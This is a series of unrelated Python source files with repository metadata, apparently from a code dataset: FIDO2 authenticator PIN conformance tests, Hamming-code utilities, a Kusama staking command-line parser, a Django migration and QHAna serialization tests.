val_graph.nodes[u]['feat'] else: f[i,:] = (val_graph.nodes[u]['feat'].data).cpu().numpy() val_graph.graph['feats'] = f val_graph.graph['num_nodes'] = num_nodes val_graph.graph['assign_feats'] = f val_graphs_dict[label].append(val_graph) return train_graphs_dict, test_graphs_dict, val_graphs_dict, \ max_nodes, feat_dim, assign_feat_dim

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f7f34dc0d477a4f33a77bb45c7fd301bef62cccc

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py

Python

tests/standard/fido2/pin/test_pin.py

niooss-ledger/fido2-tests

669fa9b4197679c10d0ce2e93233e923e5f3b3ef

[ "Apache-2.0", "MIT" ]

7

2020-10-17T00:56:52.000Z

2022-02-02T08:31:09.000Z

tests/standard/fido2/pin/test_pin.py

niooss-ledger/fido2-tests

669fa9b4197679c10d0ce2e93233e923e5f3b3ef

[ "Apache-2.0", "MIT" ]

1

2020-05-14T10:22:53.000Z

tests/standard/fido2/pin/test_pin.py

niooss-ledger/fido2-tests

669fa9b4197679c10d0ce2e93233e923e5f3b3ef

[ "Apache-2.0", "MIT" ]

6

2020-02-19T12:19:08.000Z

2022-03-19T18:34:30.000Z

import sys import pytest from fido2.ctap import CtapError from fido2.ctap2 import ES256, AttestedCredentialData, PinProtocolV1 from tests.utils import * PIN1 = "123456789A" PIN2 = "ABCDEF" @pytest.fixture(scope="module", params=[PIN1]) def SetPinRes(request, device): device.reset() pin = request.param req = FidoRequest() device.client.pin_protocol.set_pin(pin) pin_token = device.client.pin_protocol.get_pin_token(pin) pin_auth = hmac_sha256(pin_token, req.cdh)[:16] req = FidoRequest(req, pin_protocol=1, pin_auth=pin_auth) res = device.sendMC(*req.toMC()) setattr(res, "request", req) setattr(res, "PIN", pin) return res @pytest.fixture(scope="module") def CPRes(request, device, SetPinRes): res = device.sendCP(1, PinProtocolV1.CMD.GET_KEY_AGREEMENT) return res @pytest.fixture(scope="module") def MCPinRes(device, SetPinRes): req = FidoRequest(SetPinRes) res = device.sendMC(*req.toMC()) setattr(res, "request", req) return res @pytest.fixture(scope="class") def GAPinRes(device, MCPinRes): req = FidoRequest(MCPinRes) res = device.sendGA(*req.toGA()) setattr(res, "request", req) return res @pytest.mark.skipif('trezor' in sys.argv, reason="ClientPin is not supported on Trezor.") class TestPin(object): def test_pin(self, CPRes): pass def test_get_key_agreement_fields(self, CPRes): key = CPRes[1] assert "Is public key" and key[1] == 2 assert "Is P256" and key[-1] == 1 assert "Is ALG_ECDH_ES_HKDF_256" and key[3] == -25 assert "Right key" and len(key[-3]) == 32 and isinstance(key[-3], bytes) def test_verify_flag(self, device, SetPinRes): reg = device.sendMC(*FidoRequest(SetPinRes).toMC()) assert reg.auth_data.flags & (1 << 2) def test_change_pin(self, device, SetPinRes): device.client.pin_protocol.change_pin(PIN1, PIN2) pin_token = device.client.pin_protocol.get_pin_token(PIN2) pin_auth = hmac_sha256(pin_token, SetPinRes.request.cdh)[:16] SetPinRes.request.pin_token = pin_token SetPinRes.request.pin_auth = pin_auth SetPinRes.PIN = PIN2 reg = device.sendMC(*FidoRequest(SetPinRes).toMC()) auth = device.sendGA( *FidoRequest( SetPinRes, allow_list=[ { "type": "public-key", "id": reg.auth_data.credential_data.credential_id, } ], ).toGA() ) assert reg.auth_data.flags & (1 << 2) assert auth.auth_data.flags & (1 << 2) verify(reg, auth, cdh=SetPinRes.request.cdh) def test_get_no_pin_auth(self, device, SetPinRes): reg = device.sendMC(*FidoRequest(SetPinRes).toMC()) allow_list = [ {"type": "public-key", "id": reg.auth_data.credential_data.credential_id} ] auth = device.sendGA( *FidoRequest( SetPinRes, allow_list=allow_list, pin_auth=None, pin_protocol=None ).toGA() ) assert not (auth.auth_data.flags & (1 << 2)) with pytest.raises(CtapError) as e: reg = device.sendMC( *FidoRequest(SetPinRes, pin_auth=None, pin_protocol=None).toMC() ) assert e.value.code == CtapError.ERR.PIN_REQUIRED def test_zero_length_pin_auth(self, device, SetPinRes): with pytest.raises(CtapError) as e: reg = device.sendMC(*FidoRequest(SetPinRes, pin_auth=b"").toMC()) assert e.value.code == CtapError.ERR.PIN_AUTH_INVALID with pytest.raises(CtapError) as e: reg = device.sendGA(*FidoRequest(SetPinRes, pin_auth=b"").toGA()) assert e.value.code == CtapError.ERR.PIN_AUTH_INVALID def test_make_credential_no_pin(self, device, SetPinRes): with pytest.raises(CtapError) as e: reg = device.sendMC(*FidoRequest().toMC()) assert e.value.code == CtapError.ERR.PIN_REQUIRED def test_get_assertion_no_pin(self, device, SetPinRes): with pytest.raises(CtapError) as e: reg = device.sendGA(*FidoRequest().toGA()) assert e.value.code == CtapError.ERR.NO_CREDENTIALS @pytest.mark.skipif('trezor' in sys.argv, reason="ClientPin is not supported on Trezor.") def test_pin_attempts(device, SetPinRes): # Flip 1 bit pin = SetPinRes.PIN pin_wrong = list(pin) c = pin[len(pin) // 2] pin_wrong[len(pin) // 2] = chr(ord(c) ^ 1) pin_wrong = "".join(pin_wrong) for i in range(1, 3): with pytest.raises(CtapError) as e: device.sendPP(pin_wrong) assert e.value.code == CtapError.ERR.PIN_INVALID print("Check there is %d pin attempts left" % (8 - i)) res = device.ctap2.client_pin(1, PinProtocolV1.CMD.GET_RETRIES) assert res[3] == (8 - i) for i in range(1, 3): with pytest.raises(CtapError) as e: device.sendPP(pin_wrong) assert e.value.code == CtapError.ERR.PIN_AUTH_BLOCKED device.reboot() SetPinRes.request.pin_token = device.client.pin_protocol.get_pin_token(pin) SetPinRes.request.pin_auth = hmac_sha256( SetPinRes.request.pin_token, SetPinRes.request.cdh )[:16] reg = device.sendMC(*FidoRequest(SetPinRes).toMC()) res = device.ctap2.client_pin(1, PinProtocolV1.CMD.GET_RETRIES) assert res[3] == (8)

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89

0.633589

import sys import pytest from fido2.ctap import CtapError from fido2.ctap2 import ES256, AttestedCredentialData, PinProtocolV1 from tests.utils import * PIN1 = "123456789A" PIN2 = "ABCDEF" @pytest.fixture(scope="module", params=[PIN1]) def SetPinRes(request, device): device.reset() pin = request.param req = FidoRequest() device.client.pin_protocol.set_pin(pin) pin_token = device.client.pin_protocol.get_pin_token(pin) pin_auth = hmac_sha256(pin_token, req.cdh)[:16] req = FidoRequest(req, pin_protocol=1, pin_auth=pin_auth) res = device.sendMC(*req.toMC()) setattr(res, "request", req) setattr(res, "PIN", pin) return res @pytest.fixture(scope="module") def CPRes(request, device, SetPinRes): res = device.sendCP(1, PinProtocolV1.CMD.GET_KEY_AGREEMENT) return res @pytest.fixture(scope="module") def MCPinRes(device, SetPinRes): req = FidoRequest(SetPinRes) res = device.sendMC(*req.toMC()) setattr(res, "request", req) return res @pytest.fixture(scope="class") def GAPinRes(device, MCPinRes): req = FidoRequest(MCPinRes) res = device.sendGA(*req.toGA()) setattr(res, "request", req) return res @pytest.mark.skipif('trezor' in sys.argv, reason="ClientPin is not supported on Trezor.") class TestPin(object): def test_pin(self, CPRes): pass def test_get_key_agreement_fields(self, CPRes): key = CPRes[1] assert "Is public key" and key[1] == 2 assert "Is P256" and key[-1] == 1 assert "Is ALG_ECDH_ES_HKDF_256" and key[3] == -25 assert "Right key" and len(key[-3]) == 32 and isinstance(key[-3], bytes) def test_verify_flag(self, device, SetPinRes): reg = device.sendMC(*FidoRequest(SetPinRes).toMC()) assert reg.auth_data.flags & (1 << 2) def test_change_pin(self, device, SetPinRes): device.client.pin_protocol.change_pin(PIN1, PIN2) pin_token = device.client.pin_protocol.get_pin_token(PIN2) pin_auth = hmac_sha256(pin_token, SetPinRes.request.cdh)[:16] SetPinRes.request.pin_token = pin_token SetPinRes.request.pin_auth = pin_auth SetPinRes.PIN = PIN2 reg = device.sendMC(*FidoRequest(SetPinRes).toMC()) auth = device.sendGA( *FidoRequest( SetPinRes, allow_list=[ { "type": "public-key", "id": reg.auth_data.credential_data.credential_id, } ], ).toGA() ) assert reg.auth_data.flags & (1 << 2) assert auth.auth_data.flags & (1 << 2) verify(reg, auth, cdh=SetPinRes.request.cdh) def test_get_no_pin_auth(self, device, SetPinRes): reg = device.sendMC(*FidoRequest(SetPinRes).toMC()) allow_list = [ {"type": "public-key", "id": reg.auth_data.credential_data.credential_id} ] auth = device.sendGA( *FidoRequest( SetPinRes, allow_list=allow_list, pin_auth=None, pin_protocol=None ).toGA() ) assert not (auth.auth_data.flags & (1 << 2)) with pytest.raises(CtapError) as e: reg = device.sendMC( *FidoRequest(SetPinRes, pin_auth=None, pin_protocol=None).toMC() ) assert e.value.code == CtapError.ERR.PIN_REQUIRED def test_zero_length_pin_auth(self, device, SetPinRes): with pytest.raises(CtapError) as e: reg = device.sendMC(*FidoRequest(SetPinRes, pin_auth=b"").toMC()) assert e.value.code == CtapError.ERR.PIN_AUTH_INVALID with pytest.raises(CtapError) as e: reg = device.sendGA(*FidoRequest(SetPinRes, pin_auth=b"").toGA()) assert e.value.code == CtapError.ERR.PIN_AUTH_INVALID def test_make_credential_no_pin(self, device, SetPinRes): with pytest.raises(CtapError) as e: reg = device.sendMC(*FidoRequest().toMC()) assert e.value.code == CtapError.ERR.PIN_REQUIRED def test_get_assertion_no_pin(self, device, SetPinRes): with pytest.raises(CtapError) as e: reg = device.sendGA(*FidoRequest().toGA()) assert e.value.code == CtapError.ERR.NO_CREDENTIALS @pytest.mark.skipif('trezor' in sys.argv, reason="ClientPin is not supported on Trezor.") def test_pin_attempts(device, SetPinRes): pin = SetPinRes.PIN pin_wrong = list(pin) c = pin[len(pin) // 2] pin_wrong[len(pin) // 2] = chr(ord(c) ^ 1) pin_wrong = "".join(pin_wrong) for i in range(1, 3): with pytest.raises(CtapError) as e: device.sendPP(pin_wrong) assert e.value.code == CtapError.ERR.PIN_INVALID print("Check there is %d pin attempts left" % (8 - i)) res = device.ctap2.client_pin(1, PinProtocolV1.CMD.GET_RETRIES) assert res[3] == (8 - i) for i in range(1, 3): with pytest.raises(CtapError) as e: device.sendPP(pin_wrong) assert e.value.code == CtapError.ERR.PIN_AUTH_BLOCKED device.reboot() SetPinRes.request.pin_token = device.client.pin_protocol.get_pin_token(pin) SetPinRes.request.pin_auth = hmac_sha256( SetPinRes.request.pin_token, SetPinRes.request.cdh )[:16] reg = device.sendMC(*FidoRequest(SetPinRes).toMC()) res = device.ctap2.client_pin(1, PinProtocolV1.CMD.GET_RETRIES) assert res[3] == (8)

true

f7f34e579ae0e4505e5f90a4d858bff0be4a3a0c

3,607

py

Python

src/hamming_utils.py

dantrim/danny_hams_code

11b52223d8a04cc047dd1095557c68d8a915a920

[ "MIT" ]

2

2020-12-17T00:26:39.000Z

2020-12-19T02:08:22.000Z

src/hamming_utils.py

dantrim/danny_hams_code

11b52223d8a04cc047dd1095557c68d8a915a920

[ "MIT" ]

null

src/hamming_utils.py

dantrim/danny_hams_code

11b52223d8a04cc047dd1095557c68d8a915a920

[ "MIT" ]

null

from functools import reduce import operator as op def n_parity_bits_required(n_bits: int) -> int: p = 1 while True: lhs = 2 ** p rhs = p + n_bits + 1 if lhs >= rhs: break p += 1 return p def compute_parity_bits(binary_string: str, positions: list, inclusive: bool) -> list: parity_bits = [0 for _ in positions] for i, p in enumerate(positions): mask = 1 << i if not inclusive: r_pos = [ x for x in list( filter( lambda d: (mask & d != 0) and (mask != d), range(len(binary_string)), ) ) ] else: r_pos = [ x for x in list( filter(lambda d: (mask & d != 0), range(len(binary_string))) ) ] data_sel = [int(list(binary_string)[d - 1], 2) for d in r_pos] xor = reduce(op.xor, data_sel) if xor == 1: parity_bits[i] = 1 return parity_bits def encode(data: int, n_bits: int) -> str: binary_string = bin(data)[2:] if n_bits < len(binary_string): print( f"ERROR: Requested data size ({n_bits} bits) is smaller than the binary representation of the input data (={data})" ) return -1 # pad binary_string = f"{binary_string:0>{n_bits}}" # parity bits are at powers of 2 n_parity_bits = n_parity_bits_required(n_bits) parity_bit_positions = [2 ** i - 1 for i in range(n_parity_bits)] binary_string_reversed = "".join(reversed(binary_string)) # placeholder string seed_string = "".join(["x" for _ in range(n_parity_bits + len(binary_string))]) seed_string = list(seed_string) data_idx = 0 for idx in range(len(seed_string)): if idx not in parity_bit_positions: seed_string[idx] = list(binary_string_reversed)[data_idx] data_idx += 1 seed_string = "".join(seed_string) # compute the values for the parity bits parity_bits = compute_parity_bits(seed_string, parity_bit_positions, False) # emplace the values of the parity bits in the flagged positions parity_bit_idx = 0 encoded_string = list(seed_string) for i, v in enumerate(encoded_string): if v.lower() == "x": encoded_string[i] = parity_bits[parity_bit_idx] parity_bit_idx += 1 encoded_string = "".join(map(str, reversed(encoded_string))) return encoded_string def decode(binary_string: str, n_bits: int) -> str: # binary string must not have the "0b" preceding characters n_parity_bits = n_parity_bits_required(n_bits) parity_bit_positions = [2 ** i - 1 for i in range(n_parity_bits)] binary_string_reversed = "".join(reversed(list(binary_string))) parity_bits = compute_parity_bits( binary_string_reversed, parity_bit_positions, True ) error_position = int("".join(reversed(list(map(str, parity_bits)))), 2) decoded_string = list(binary_string_reversed) if error_position > 0: # flip the bit at the index where the error is located decoded_string[error_position - 1] = {"0": "1", "1": "0"}[ decoded_string[error_position - 1] ] # remove the parity bits from the decoded string to get the message data decoded_string = [ v for i, v in enumerate(decoded_string) if i not in parity_bit_positions ] decoded_string = "".join(reversed(decoded_string)) return decoded_string

31.640351

127

0.600222

from functools import reduce import operator as op def n_parity_bits_required(n_bits: int) -> int: p = 1 while True: lhs = 2 ** p rhs = p + n_bits + 1 if lhs >= rhs: break p += 1 return p def compute_parity_bits(binary_string: str, positions: list, inclusive: bool) -> list: parity_bits = [0 for _ in positions] for i, p in enumerate(positions): mask = 1 << i if not inclusive: r_pos = [ x for x in list( filter( lambda d: (mask & d != 0) and (mask != d), range(len(binary_string)), ) ) ] else: r_pos = [ x for x in list( filter(lambda d: (mask & d != 0), range(len(binary_string))) ) ] data_sel = [int(list(binary_string)[d - 1], 2) for d in r_pos] xor = reduce(op.xor, data_sel) if xor == 1: parity_bits[i] = 1 return parity_bits def encode(data: int, n_bits: int) -> str: binary_string = bin(data)[2:] if n_bits < len(binary_string): print( f"ERROR: Requested data size ({n_bits} bits) is smaller than the binary representation of the input data (={data})" ) return -1 binary_string = f"{binary_string:0>{n_bits}}" n_parity_bits = n_parity_bits_required(n_bits) parity_bit_positions = [2 ** i - 1 for i in range(n_parity_bits)] binary_string_reversed = "".join(reversed(binary_string)) seed_string = "".join(["x" for _ in range(n_parity_bits + len(binary_string))]) seed_string = list(seed_string) data_idx = 0 for idx in range(len(seed_string)): if idx not in parity_bit_positions: seed_string[idx] = list(binary_string_reversed)[data_idx] data_idx += 1 seed_string = "".join(seed_string) parity_bits = compute_parity_bits(seed_string, parity_bit_positions, False) parity_bit_idx = 0 encoded_string = list(seed_string) for i, v in enumerate(encoded_string): if v.lower() == "x": encoded_string[i] = parity_bits[parity_bit_idx] parity_bit_idx += 1 encoded_string = "".join(map(str, reversed(encoded_string))) return encoded_string def decode(binary_string: str, n_bits: int) -> str: n_parity_bits = n_parity_bits_required(n_bits) parity_bit_positions = [2 ** i - 1 for i in range(n_parity_bits)] binary_string_reversed = "".join(reversed(list(binary_string))) parity_bits = compute_parity_bits( binary_string_reversed, parity_bit_positions, True ) error_position = int("".join(reversed(list(map(str, parity_bits)))), 2) decoded_string = list(binary_string_reversed) if error_position > 0: decoded_string[error_position - 1] = {"0": "1", "1": "0"}[ decoded_string[error_position - 1] ] decoded_string = [ v for i, v in enumerate(decoded_string) if i not in parity_bit_positions ] decoded_string = "".join(reversed(decoded_string)) return decoded_string

true

f7f34ebf28eb14da5dcd8ef2ea11803aeedc9b4d

5,016

py

Python

code_src/staking/polkadotAndKusama/ksm/arg_parser/ksmNominatorArgParser.py

luizcarvalhohen/staking_manager

ad672cf980631fc5cb050c62d034a14ada49d96b

[ "MIT" ]

3

2021-11-06T20:46:06.000Z

2021-11-24T06:33:40.000Z

code_src/staking/polkadotAndKusama/ksm/arg_parser/ksmNominatorArgParser.py

luizcarvalhohen/staking_manager

ad672cf980631fc5cb050c62d034a14ada49d96b

[ "MIT" ]

5

2021-11-16T04:46:30.000Z

2021-12-28T22:05:39.000Z

code_src/staking/polkadotAndKusama/ksm/arg_parser/ksmNominatorArgParser.py

luizcarvalhohen/staking_manager

ad672cf980631fc5cb050c62d034a14ada49d96b

[ "MIT" ]

2

2021-11-07T22:03:16.000Z

2021-11-23T22:04:36.000Z

from code_src.staking.polkadotAndKusama.fxn_decorator_implementations.substrateCallImplementation import SubstrateCall from common import MyHelpFormatter from code_src.staking.polkadotAndKusama.argparserUtil import actionMnemonic, actionValidatorAddress, actionHelp, \ subcommand, \ actionTest, actionNumberOfTokens from config import kusamaActiveConfig from examples import exampleNominator, exampleNominate, exampleUnominateTmp, exampleUnominateAll def ksmNominatorArgParser(parser_parent): # nominator parent parser nominatorParser = parser_parent.add_parser(name="nominator", help="""nomination interface to KSM.""", add_help=False, epilog=exampleNominator, formatter_class=MyHelpFormatter) nominatorSubParser = nominatorParser.add_subparsers(help='') # nominate """ {'call_name': 'nominate', 'call_args': [{'name': 'targets', 'type': 155, 'typeName': 'Vec<<T::Lookup as StaticLookup>::Source>', 'docs': []}], 'documentation': "Declare the desire to nominate `targets` for the origin controller. Effects will be felt at the beginning of the next era. The dispatch origin for this call must be _Signed_ by the controller, not the stash. # <weight> - The transaction's complexity is proportional to the size of `targets` (N) which is capped at CompactAssignments::LIMIT (MAX_NOMINATIONS). - Both the reads and writes follow a similar pattern. # </weight>", 'module_prefix': 'Staking', 'module_name': 'Staking', 'spec_version': 9122} :return: """ @subcommand(parent=nominatorSubParser, subHelp=exampleNominate, reqArgs=[actionMnemonic()], optArgs=[actionValidatorAddress(kusamaActiveConfig), actionHelp()]) def nominate(args): @SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking", call_params={'targets': args.validator_address}, seed=args.mnemonic) def nominate(): pass # chill # https://githubhelp.com/polkascan/py-scale-codec # Stakers can be in any one of the three states: validating, nominating, or chilling. When a staker wants to # temporarily pause their active engagement in staking but does not want to unbond their funds, they can choose # to "chill" their involvement and keep their funds staked. # so in fact to totally unstacked all the coin you need to chill and then unbound # https://wiki.polkadot.network/docs/maintain-guides-how-to-chill """ Declare no desire to either validate or nominate. Effects will be felt at the beginning of the next era. The dispatch origin for this call must be _Signed_ by the controller, not the stash. # <weight> - Independent of the arguments. Insignificant complexity. - Contains one read. - Writes are limited to the `origin` account key. # </weight>" """ @subcommand(parent=nominatorSubParser, subHelp=exampleUnominateTmp, reqArgs=[actionMnemonic()], optArgs=[actionTest()]) def stop_nominate_tmp(args): @SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking", call_params={}, seed=args.mnemonic) def chill(): pass # chill + unbond """ Declare a `controller` to stop participating as either a validator or nominator. Effects will be felt at the beginning of the next era. The dispatch origin for this call must be _Signed_, but can be called by anyone. If the caller is the same as the controller being targeted, then no further checks are enforced, and this function behaves just like `chill`. If the caller is different than the controller being targeted, the following conditions must be met: * A `ChillThreshold` must be set and checked which defines how close to the max nominators or validators we must reach before users can start chilling one-another. * A `MaxNominatorCount` and `MaxValidatorCount` must be set which is used to determine how close we are to the threshold. * A `MinNominatorBond` and `MinValidatorBond` must be set and checked, which determines if this is a person that should be chilled because they have not met the threshold bond required. This can be helpful if bond requirements are updated, and we need to remove old users who do not satisfy these requirements. """ @subcommand(parent=nominatorSubParser, subHelp=exampleUnominateAll, reqArgs=[actionMnemonic(), actionNumberOfTokens()], optArgs=[actionTest()]) def stop_nominate_all(args): @SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking", call_params={'value': args.number_of_tokens}, seed=args.mnemonic) def stop_nominate_all(): pass return nominatorParser

51.71134

120

0.696372

from code_src.staking.polkadotAndKusama.fxn_decorator_implementations.substrateCallImplementation import SubstrateCall from common import MyHelpFormatter from code_src.staking.polkadotAndKusama.argparserUtil import actionMnemonic, actionValidatorAddress, actionHelp, \ subcommand, \ actionTest, actionNumberOfTokens from config import kusamaActiveConfig from examples import exampleNominator, exampleNominate, exampleUnominateTmp, exampleUnominateAll def ksmNominatorArgParser(parser_parent): nominatorParser = parser_parent.add_parser(name="nominator", help="""nomination interface to KSM.""", add_help=False, epilog=exampleNominator, formatter_class=MyHelpFormatter) nominatorSubParser = nominatorParser.add_subparsers(help='') @subcommand(parent=nominatorSubParser, subHelp=exampleNominate, reqArgs=[actionMnemonic()], optArgs=[actionValidatorAddress(kusamaActiveConfig), actionHelp()]) def nominate(args): @SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking", call_params={'targets': args.validator_address}, seed=args.mnemonic) def nominate(): pass @subcommand(parent=nominatorSubParser, subHelp=exampleUnominateTmp, reqArgs=[actionMnemonic()], optArgs=[actionTest()]) def stop_nominate_tmp(args): @SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking", call_params={}, seed=args.mnemonic) def chill(): pass @subcommand(parent=nominatorSubParser, subHelp=exampleUnominateAll, reqArgs=[actionMnemonic(), actionNumberOfTokens()], optArgs=[actionTest()]) def stop_nominate_all(args): @SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking", call_params={'value': args.number_of_tokens}, seed=args.mnemonic) def stop_nominate_all(): pass return nominatorParser

true

f7f34f2eac4c24fa83b82b389043e23f546e8392

486

py

Python

lessons/migrations/0004_flashcard_is_bordered.py

keeperaft/personalaltwebsite

b8ad2679c2809c316e8f746ffe1b302460f336be

[ "MIT" ]

null

lessons/migrations/0004_flashcard_is_bordered.py

keeperaft/personalaltwebsite

b8ad2679c2809c316e8f746ffe1b302460f336be

[ "MIT" ]

2

2020-06-05T20:35:57.000Z

2021-06-10T21:24:24.000Z

lessons/migrations/0004_flashcard_is_bordered.py

keeperaft/personalaltwebsite

b8ad2679c2809c316e8f746ffe1b302460f336be

[ "MIT" ]

1

2019-04-10T02:03:35.000Z

# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2018-05-05 17:07 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('lessons', '0003_flashcardlesson_is_link_to_existing_flashcard'), ] operations = [ migrations.AddField( model_name='flashcard', name='is_bordered', field=models.BooleanField(default=True), ), ]

23.142857

74

0.644033

from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('lessons', '0003_flashcardlesson_is_link_to_existing_flashcard'), ] operations = [ migrations.AddField( model_name='flashcard', name='is_bordered', field=models.BooleanField(default=True), ), ]

true

f7f34f3558c5a32eb97cfa6cf1e7f76c8324675d

9,537

py

Python

tests/test_entity_attributes.py

AathmanT/qhana-plugin-runner

206f9fa646e5b47bacf95a3b9be7e2b72576c9f1

[ "Apache-2.0" ]

null

tests/test_entity_attributes.py

AathmanT/qhana-plugin-runner

206f9fa646e5b47bacf95a3b9be7e2b72576c9f1

[ "Apache-2.0" ]

1

2021-09-02T07:56:23.000Z

2021-09-03T11:46:41.000Z

tests/test_entity_attributes.py

AathmanT/qhana-plugin-runner

206f9fa646e5b47bacf95a3b9be7e2b72576c9f1

[ "Apache-2.0" ]

2

2021-10-12T13:50:57.000Z

2022-03-27T12:12:23.000Z

# Copyright 2021 QHAna plugin runner contributors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for the attributes module of the plugin_utils.""" from collections import namedtuple from hypothesis import given from hypothesis import strategies as st from test_entity_marshalling import ( CSV_UNSAFE_CHARACTERS, DEFAULT_ATTRIBUTES, DEFAULT_ENTITY_STRATEGY, DEFAULT_ENTITY_TUPLE, DEFAULT_ENTITY_TUPLE_STRATEGY, ) from utils import assert_sequence_equals, assert_sequence_partial_equals from qhana_plugin_runner.plugin_utils.attributes import ( AttributeMetadata, dict_deserializer, dict_serializer, parse_attribute_metadata, tuple_deserializer, tuple_serializer, ) from qhana_plugin_runner.plugin_utils.entity_marshalling import ensure_dict ATTR_METADATA_TUPLE = namedtuple( "AttributeMetadataTuple", [ "ID", "type", "title", "description", "multiple", "ordered", "separator", "refTarget", "schema", ], ) DEFAULT_ATTR_METADATA = [ ATTR_METADATA_TUPLE("ID", "string", "Entity ID", "", False, False, ";", None, None), ATTR_METADATA_TUPLE( "href", "string", "Entity URL", "", False, False, ";", None, None ), ATTR_METADATA_TUPLE( "integer", "integer", "Integer Attribute", "", False, False, ";", None, None ), ATTR_METADATA_TUPLE( "number", "double", "Number Attribute", "", False, False, ";", None, None ), ATTR_METADATA_TUPLE( "boolean", "boolean", "Boolean Attribute", "", False, False, ";", None, None ), ATTR_METADATA_TUPLE( "str_list", "string", "String List Attribute", "", True, True, ";", None, None ), ATTR_METADATA_TUPLE( "integer_list", "integer", "Integer List Attribute", "", True, True, ";", None, None, ), ATTR_METADATA_TUPLE( "number_list", "double", "Number List Attribute", "", True, True, ";", None, None ), ATTR_METADATA_TUPLE( "boolean_list", "boolean", "Boolean List Attribute", "", True, True, ";", None, None, ), ATTR_METADATA_TUPLE( "str_set", "string", "String Set Attribute", "", True, False, ";", None, None ), ATTR_METADATA_TUPLE( "integer_set", "integer", "Integer Set Attribute", "", True, False, ";", None, None, ), ATTR_METADATA_TUPLE( "number_set", "double", "Number Set Attribute", "", True, False, ";", None, None ), ATTR_METADATA_TUPLE( "boolean_set", "boolean", "Boolean Set Attribute", "", True, False, ";", None, None, ), ] @given(entities=st.lists(DEFAULT_ENTITY_TUPLE_STRATEGY)) def test_tuple_serialization_roundtrip(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) # serialize serialize = tuple_serializer( DEFAULT_ATTRIBUTES, attr_metadata, tuple_=DEFAULT_ENTITY_TUPLE._make ) serialized_entities = list(serialize(entity) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"] ) # assert all serialized for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" # deserialize deserialize = tuple_deserializer( DEFAULT_ATTRIBUTES, attr_metadata, tuple_=DEFAULT_ENTITY_TUPLE._make ) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities) @given(entities=st.lists(DEFAULT_ENTITY_STRATEGY)) def test_dict_serialization_roundtrip(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) # serialize serialize = dict_serializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=False) serialized_entities = list(serialize(entity) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"] ) # assert all serialized for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" # deserialize deserialize = dict_deserializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=False) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities) @given(entities=st.lists(DEFAULT_ENTITY_STRATEGY)) def test_dict_serialization_roundtrip_in_place(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) # serialize serialize = dict_serializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=True) serialized_entities = list(serialize(dict(entity)) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"] ) # assert all serialized for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" # deserialize deserialize = dict_deserializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=True) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities) LIST_ENTITY_ATTRIBUTES = ["ID", "str_list", "integer_list", "number_list", "boolean_list"] LIST_ENTITY_STRATEGY = st.fixed_dictionaries( { "ID": st.text(st.characters(blacklist_characters=CSV_UNSAFE_CHARACTERS)), "str_list": st.lists( st.text(st.characters(blacklist_characters=[";"]), min_size=1) ), "integer_list": st.lists(st.integers()), "number_list": st.lists(st.floats(allow_infinity=False, allow_nan=False)), "boolean_list": st.lists(st.booleans()), } ) @given(entities=st.lists(LIST_ENTITY_STRATEGY)) def test_list_serialization_roundtrip(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) # serialize serialize = dict_serializer(LIST_ENTITY_ATTRIBUTES, attr_metadata, in_place=False) serialized_entities = list(serialize(entity) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=[ "ID", ], ) # assert all serialized for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" # deserialize deserialize = dict_deserializer(LIST_ENTITY_ATTRIBUTES, attr_metadata, in_place=False) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities) SET_ENTITY_ATTRIBUTES = ["ID", "str_set", "integer_set", "number_set", "boolean_set"] SET_ENTITY_STRATEGY = st.fixed_dictionaries( { "ID": st.text(st.characters(blacklist_characters=CSV_UNSAFE_CHARACTERS)), "str_set": st.sets( st.text(st.characters(blacklist_characters=[";"]), min_size=1) ), "integer_set": st.sets(st.integers()), "number_set": st.sets(st.floats(allow_infinity=False, allow_nan=False)), "boolean_set": st.sets(st.booleans()), } ) @given(entities=st.lists(SET_ENTITY_STRATEGY)) def test_set_serialization_roundtrip(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) # serialize serialize = 